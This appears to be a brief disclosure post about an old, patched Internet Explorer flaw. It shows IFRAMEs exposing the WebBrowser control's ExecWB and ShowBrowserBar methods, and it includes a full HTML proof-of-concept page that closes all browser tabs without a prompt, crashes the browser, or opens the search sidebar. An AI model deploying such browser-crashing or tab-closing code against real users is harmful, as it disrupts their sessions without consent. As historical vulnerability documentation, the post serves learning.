IFRAMEs in IE expose the same COM interface as the WebBrowser Control, which means they have methods like ExecWB and ShowBrowserBar. Calling ExecWB(2, 1) from an IFRAME closes all browser tabs without prompting. Calling ExecWB(20, 1) crashes it. Calling ShowBrowserBar with the Search GUID opens the search sidebar — all from a plain web page.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>IFrameAsWebBrowser_Close_Crash_Search</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>IFrameAsWebBrowser_Close_Crash_Search</h2>
<input type="button" onclick="closeBrowser()" value="Close Browser (all Tabs) without prompts"><br /><br />
<input type="button" onclick="crashBrowser()" value="Crash Browser"><br /><br />
<input type="button" onclick="openSearchBar()" value="Open Search Bar"><br /><br />

<iframe id="wb" width="10" height="10"></iframe><br />
</center>
<hr />

<script language="JavaScript">

pseudoWebBrowser = document.getElementById("wb");
function closeBrowser()
{
	pseudoWebBrowser.ExecWB(2, 1);
}
function crashBrowser()
{
	pseudoWebBrowser.ExecWB(20, 1);
}
function openSearchBar()
{
	pseudoWebBrowser.ShowBrowserBar('{30D02401-6A81-11D0-8274-00C04FD5AE38}', true);
}

</script>
</body>
</html>

IE exposes the WebBrowser Control’s full IWebBrowser2 interface on all IFRAME elements for legacy compatibility reasons. The ExecWB method dispatches browser-level commands identified by integer IDs — command 2 is “close browser” and command 20 is an unhandled command that crashes. These commands were never intended to be reachable from web content.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.